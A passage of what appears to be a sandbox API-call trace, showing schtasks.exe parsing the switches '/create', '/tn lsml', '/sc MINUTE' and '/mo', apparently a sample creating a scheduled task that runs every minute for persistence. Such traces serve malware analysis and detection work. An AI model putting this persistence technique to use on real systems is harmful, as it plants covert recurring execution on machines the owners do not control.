(dwErrCode=0x0) [0083.336] lstrlenW (lpString="/create") returned 7 [0083.336] lstrlenW (lpString="-/") returned 2 [0083.336] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.336] lstrlenW (lpString="create") returned 6 [0083.336] lstrlenW (lpString="create") returned 6 [0083.336] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.336] lstrlenW (lpString="create") returned 6 [0083.336] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.336] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|create|") returned 8 [0083.336] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|create|") returned 8 [0083.337] lstrlenW (lpString="|create|") returned 8 [0083.337] lstrlenW (lpString="|create|") returned 8 [0083.337] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0083.337] SetLastError (dwErrCode=0x0) [0083.337] SetLastError (dwErrCode=0x0) [0083.337] SetLastError (dwErrCode=0x0) [0083.337] lstrlenW (lpString="/tn") returned 3 [0083.337] lstrlenW (lpString="-/") returned 2 [0083.337] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.337] lstrlenW (lpString="create") returned 6 [0083.337] lstrlenW (lpString="create") returned 6 [0083.337] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.337] lstrlenW (lpString="tn") returned 2 [0083.337] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.337] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|create|") returned 8 [0083.337] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tn|") returned 4 [0083.337] lstrlenW (lpString="|create|") returned 8 [0083.337] lstrlenW (lpString="|tn|") returned 4 [0083.337] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0083.337] SetLastError (dwErrCode=0x490) [0083.337] lstrlenW (lpString="?") returned 1 [0083.337] lstrlenW (lpString="?") returned 1 [0083.337] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.337] lstrlenW (lpString="tn") returned 2 [0083.337] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.337] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|?|") returned 3 [0083.337] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tn|") returned 4 [0083.337] lstrlenW (lpString="|?|") returned 3 [0083.337] lstrlenW (lpString="|tn|") returned 4 [0083.338] SetLastError (dwErrCode=0x490) [0083.338] lstrlenW (lpString="s") returned 1 [0083.338] lstrlenW (lpString="s") returned 1 [0083.338] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.338] lstrlenW (lpString="tn") returned 2 [0083.338] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.338] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|s|") returned 3 [0083.338] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tn|") returned 4 [0083.338] lstrlenW (lpString="|s|") returned 3 [0083.338] lstrlenW (lpString="|tn|") returned 4 [0083.338] SetLastError (dwErrCode=0x490) [0083.338] lstrlenW (lpString="u") returned 1 [0083.338] lstrlenW (lpString="u") returned 1 [0083.338] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.338] lstrlenW (lpString="tn") returned 2 [0083.338] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.338] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|u|") returned 3 [0083.338] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tn|") returned 4 [0083.338] lstrlenW (lpString="|u|") returned 3 [0083.338] lstrlenW (lpString="|tn|") returned 4 [0083.338] SetLastError (dwErrCode=0x490) [0083.338] lstrlenW (lpString="p") returned 1 [0083.338] lstrlenW (lpString="p") returned 1 [0083.338] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.338] lstrlenW (lpString="tn") returned 2 [0083.338] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.338] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|p|") returned 3 [0083.338] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tn|") returned 4 [0083.339] lstrlenW (lpString="|p|") returned 3 [0083.339] lstrlenW (lpString="|tn|") returned 4 [0083.339] SetLastError (dwErrCode=0x490) [0083.339] lstrlenW (lpString="ru") returned 2 [0083.339] lstrlenW (lpString="ru") returned 2 [0083.339] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.339] lstrlenW (lpString="tn") returned 2 [0083.339] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.339] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|ru|") returned 4 [0083.339] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tn|") returned 4 [0083.339] lstrlenW (lpString="|ru|") returned 4 [0083.339] lstrlenW (lpString="|tn|") returned 4 [0083.339] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0083.339] SetLastError (dwErrCode=0x490) [0083.339] lstrlenW (lpString="rp") returned 2 [0083.339] lstrlenW (lpString="rp") returned 2 [0083.339] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.339] lstrlenW (lpString="tn") returned 2 [0083.339] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.339] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|rp|") returned 4 [0083.339] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tn|") returned 4 [0083.339] lstrlenW (lpString="|rp|") returned 4 [0083.339] lstrlenW (lpString="|tn|") returned 4 [0083.339] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0083.340] SetLastError (dwErrCode=0x490) [0083.340] lstrlenW (lpString="sc") returned 2 [0083.340] lstrlenW (lpString="sc") returned 2 [0083.340] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.340] lstrlenW (lpString="tn") returned 2 [0083.340] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.340] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|sc|") returned 4 [0083.340] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tn|") returned 4 [0083.340] lstrlenW (lpString="|sc|") returned 4 [0083.340] lstrlenW (lpString="|tn|") returned 4 [0083.340] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0083.340] SetLastError (dwErrCode=0x490) [0083.340] lstrlenW (lpString="mo") returned 2 [0083.340] lstrlenW (lpString="mo") returned 2 [0083.340] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.340] lstrlenW (lpString="tn") returned 2 [0083.340] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.340] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|mo|") returned 4 [0083.340] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tn|") returned 4 [0083.340] lstrlenW (lpString="|mo|") returned 4 [0083.340] lstrlenW (lpString="|tn|") returned 4 [0083.340] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0083.340] SetLastError (dwErrCode=0x490) [0083.340] lstrlenW (lpString="d") returned 1 [0083.341] lstrlenW (lpString="d") returned 1 [0083.341] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.341] lstrlenW (lpString="tn") returned 2 [0083.341] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.341] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|d|") returned 3 [0083.341] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tn|") returned 4 [0083.341] lstrlenW (lpString="|d|") returned 3 [0083.341] lstrlenW (lpString="|tn|") returned 4 [0083.341] SetLastError (dwErrCode=0x490) [0083.341] lstrlenW (lpString="m") returned 1 [0083.341] lstrlenW (lpString="m") returned 1 [0083.341] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.341] lstrlenW (lpString="tn") returned 2 [0083.341] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.341] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|m|") returned 3 [0083.341] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tn|") returned 4 [0083.341] lstrlenW (lpString="|m|") returned 3 [0083.341] lstrlenW (lpString="|tn|") returned 4 [0083.341] SetLastError (dwErrCode=0x490) [0083.341] lstrlenW (lpString="i") returned 1 [0083.341] lstrlenW (lpString="i") returned 1 [0083.341] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.341] lstrlenW (lpString="tn") returned 2 [0083.341] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.342] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|i|") returned 3 [0083.342] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tn|") returned 4 [0083.342] lstrlenW (lpString="|i|") returned 3 [0083.342] lstrlenW (lpString="|tn|") returned 4 [0083.342] SetLastError (dwErrCode=0x490) [0083.342] lstrlenW (lpString="tn") returned 2 [0083.342] lstrlenW (lpString="tn") returned 2 [0083.342] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.342] lstrlenW (lpString="tn") returned 2 [0083.342] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.342] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tn|") returned 4 [0083.342] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tn|") returned 4 [0083.342] lstrlenW (lpString="|tn|") returned 4 [0083.342] lstrlenW (lpString="|tn|") returned 4 [0083.342] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0083.342] SetLastError (dwErrCode=0x0) [0083.342] SetLastError (dwErrCode=0x0) [0083.342] lstrlenW (lpString="lsml") returned 4 [0083.342] lstrlenW (lpString="-/") returned 2 [0083.342] StrChrIW (lpStart="-/", wMatch=0x6c) returned 0x0 [0083.342] SetLastError (dwErrCode=0x490) [0083.342] SetLastError (dwErrCode=0x490) [0083.342] SetLastError (dwErrCode=0x0) [0083.342] lstrlenW (lpString="lsml") returned 4 [0083.342] StrChrIW (lpStart="lsml", wMatch=0x3a) returned 0x0 [0083.342] SetLastError (dwErrCode=0x490) [0083.343] SetLastError (dwErrCode=0x0) [0083.343] lstrlenW (lpString="lsml") returned 4 [0083.343] SetLastError (dwErrCode=0x0) [0083.343] SetLastError (dwErrCode=0x0) [0083.343] lstrlenW (lpString="/sc") returned 3 [0083.343] lstrlenW (lpString="-/") returned 2 [0083.343] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.343] lstrlenW (lpString="create") returned 6 [0083.343] lstrlenW (lpString="create") returned 6 [0083.343] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.343] lstrlenW (lpString="sc") returned 2 [0083.343] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.343] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|create|") returned 8 [0083.343] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|sc|") returned 4 [0083.343] lstrlenW (lpString="|create|") returned 8 [0083.343] lstrlenW (lpString="|sc|") returned 4 [0083.343] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0083.343] SetLastError (dwErrCode=0x490) [0083.343] lstrlenW (lpString="?") returned 1 [0083.343] lstrlenW (lpString="?") returned 1 [0083.343] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.343] lstrlenW (lpString="sc") returned 2 [0083.343] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.343] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|?|") returned 3 [0083.343] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|sc|") returned 4 [0083.344] lstrlenW (lpString="|?|") returned 3 [0083.344] lstrlenW (lpString="|sc|") returned 4 [0083.344] SetLastError (dwErrCode=0x490) [0083.344] lstrlenW (lpString="s") returned 1 [0083.344] lstrlenW (lpString="s") returned 1 [0083.344] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.344] lstrlenW (lpString="sc") returned 2 [0083.344] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.344] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|s|") returned 3 [0083.344] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|sc|") returned 4 [0083.344] lstrlenW (lpString="|s|") returned 3 [0083.344] lstrlenW (lpString="|sc|") returned 4 [0083.344] SetLastError (dwErrCode=0x490) [0083.344] lstrlenW (lpString="u") returned 1 [0083.344] lstrlenW (lpString="u") returned 1 [0083.344] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.344] lstrlenW (lpString="sc") returned 2 [0083.344] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.344] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|u|") returned 3 [0083.344] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|sc|") returned 4 [0083.344] lstrlenW (lpString="|u|") returned 3 [0083.344] lstrlenW (lpString="|sc|") returned 4 [0083.344] SetLastError (dwErrCode=0x490) [0083.344] lstrlenW (lpString="p") returned 1 [0083.344] lstrlenW (lpString="p") returned 1 [0083.344] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.344] lstrlenW (lpString="sc") returned 2 [0083.344] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.344] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|p|") returned 3 [0083.344] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|sc|") returned 4 [0083.345] lstrlenW (lpString="|p|") returned 3 [0083.345] lstrlenW (lpString="|sc|") returned 4 [0083.345] SetLastError (dwErrCode=0x490) [0083.345] lstrlenW (lpString="ru") returned 2 [0083.345] lstrlenW (lpString="ru") returned 2 [0083.345] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.345] lstrlenW (lpString="sc") returned 2 [0083.345] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.345] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|ru|") returned 4 [0083.345] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|sc|") returned 4 [0083.345] lstrlenW (lpString="|ru|") returned 4 [0083.345] lstrlenW (lpString="|sc|") returned 4 [0083.345] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0083.345] SetLastError (dwErrCode=0x490) [0083.345] lstrlenW (lpString="rp") returned 2 [0083.345] lstrlenW (lpString="rp") returned 2 [0083.345] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.345] lstrlenW (lpString="sc") returned 2 [0083.345] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.345] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|rp|") returned 4 [0083.345] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|sc|") returned 4 [0083.345] lstrlenW (lpString="|rp|") returned 4 [0083.345] lstrlenW (lpString="|sc|") returned 4 [0083.345] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0083.345] SetLastError (dwErrCode=0x490) [0083.345] lstrlenW (lpString="sc") returned 2 [0083.345] lstrlenW (lpString="sc") returned 2 [0083.345] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.345] lstrlenW (lpString="sc") returned 2 [0083.345] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.345] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|sc|") returned 4 [0083.346] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|sc|") returned 4 [0083.346] lstrlenW (lpString="|sc|") returned 4 [0083.346] lstrlenW (lpString="|sc|") returned 4 [0083.346] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0083.346] SetLastError (dwErrCode=0x0) [0083.346] SetLastError (dwErrCode=0x0) [0083.346] lstrlenW (lpString="MINUTE") returned 6 [0083.346] lstrlenW (lpString="-/") returned 2 [0083.346] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0083.346] SetLastError (dwErrCode=0x490) [0083.346] SetLastError (dwErrCode=0x490) [0083.346] SetLastError (dwErrCode=0x0) [0083.346] lstrlenW (lpString="MINUTE") returned 6 [0083.346] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0083.346] SetLastError (dwErrCode=0x490) [0083.346] SetLastError (dwErrCode=0x0) [0083.346] GetProcessHeap () returned 0x360000 [0083.346] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x18) returned 0x37d640 [0083.346] _memicmp (_Buf1=0x37d640, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.346] lstrlenW (lpString="MINUTE") returned 6 [0083.346] GetProcessHeap () returned 0x360000 [0083.346] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0xe) returned 0x37d660 [0083.346] lstrlenW (lpString="MINUTE") returned 6 [0083.346] lstrlenW (lpString=" \x09") returned 2 [0083.346] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0083.346] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0083.346] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0083.346] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0083.346] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0083.346] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0083.346] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0083.346] GetLastError () returned 0x0 [0083.346] lstrlenW (lpString="MINUTE") returned 6 [0083.346] lstrlenW (lpString="MINUTE") returned 6 [0083.346] SetLastError (dwErrCode=0x0) [0083.347] SetLastError (dwErrCode=0x0) [0083.347] lstrlenW (lpString="/mo") returned 3 [0083.347] lstrlenW (lpString="-/") returned 2 [0083.347] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.347] lstrlenW (lpString="create") returned 6 [0083.347] lstrlenW (lpString="create") returned 6 [0083.347] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.347] lstrlenW (lpString="mo") returned 2 [0083.347] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.347] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|create|") returned 8 [0083.347] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|mo|") returned 4 [0083.347] lstrlenW (lpString="|create|") returned 8 [0083.347] lstrlenW (lpString="|mo|") returned 4 [0083.347] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0083.347] SetLastError (dwErrCode=0x490) [0083.347] lstrlenW (lpString="?") returned 1 [0083.347] lstrlenW (lpString="?") returned 1 [0083.347] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.347] lstrlenW (lpString="mo") returned 2 [0083.347] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.347] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|?|") returned 3 [0083.347] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|mo|") returned 4 [0083.347] lstrlenW (lpString="|?|") returned 3 [0083.347] lstrlenW (lpString="|mo|") returned 4 [0083.347] SetLastError (dwErrCode=0x490) [0083.347] lstrlenW (lpString="s") returned 1 [0083.347] lstrlenW (lpString="s") returned 1 [0083.347] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.347] lstrlenW (lpString="mo") returned 2 [0083.347] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.347] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|s|") returned 3 [0083.348] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|mo|") returned 4 [0083.348] lstrlenW (lpString="|s|") returned 3 [0083.348] lstrlenW (lpString="|mo|") returned 4 [0083.348] SetLastError (dwErrCode=0x490) [0083.348] lstrlenW (lpString="u") returned 1 [0083.348] lstrlenW (lpString="u") returned 1 [0083.348] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.348] lstrlenW (lpString="mo") returned 2 [0083.348] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.348] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|u|") returned 3 [0083.348] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|mo|") returned 4 [0083.348] lstrlenW (lpString="|u|") returned 3 [0083.348] lstrlenW (lpString="|mo|") returned 4 [0083.348] SetLastError (dwErrCode=0x490) [0083.348] lstrlenW (lpString="p") returned 1 [0083.348] lstrlenW (lpString="p") returned 1 [0083.348] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.348] lstrlenW (lpString="mo") returned 2 [0083.348] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.348] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|p|") returned 3 [0083.348] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|mo|") returned 4 [0083.348] lstrlenW (lpString="|p|") returned 3 [0083.348] lstrlenW (lpString="|mo|") returned 4 [0083.348] SetLastError (dwErrCode=0x490) [0083.348] lstrlenW (lpString="ru") returned 2 [0083.348] lstrlenW (lpString="ru") returned 2 [0083.348] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.348] lstrlenW (lpString="mo") returned 2 [0083.348] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.348] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|ru|") returned 4 [0083.348] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|mo|") returned 4 [0083.348] lstrlenW (lpString="|ru|") returned 4 [0083.349] lstrlenW (lpString="|mo|") returned 4 [0083.349] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0083.349] SetLastError (dwErrCode=0x490) [0083.349] lstrlenW (lpString="rp") returned 2 [0083.349] lstrlenW (lpString="rp") returned 2 [0083.349] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.349] lstrlenW (lpString="mo") returned 2 [0083.349] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.349] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|rp|") returned 4 [0083.349] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|mo|") returned 4 [0083.349] lstrlenW (lpString="|rp|") returned 4 [0083.349] lstrlenW (lpString="|mo|") returned 4 [0083.349] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0083.349] SetLastError (dwErrCode=0x490) [0083.349] lstrlenW (lpString="sc") returned 2 [0083.349] lstrlenW (lpString="sc") returned 2 [0083.349] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.349] lstrlenW (lpString="mo") returned 2 [0083.349] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.349] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|sc|") returned 4 [0083.349] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|mo|") returned 4 [0083.349] lstrlenW (lpString="|sc|") returned 4 [0083.349] lstrlenW (lpString="|mo|") returned 4 [0083.349] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0083.349] SetLastError (dwErrCode=0x490) [0083.349] lstrlenW (lpString="mo") returned 2 [0083.349] lstrlenW (lpString="mo") returned 2 [0083.349] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.349] lstrlenW (lpString="mo") returned 2 [0083.349] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.350] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", 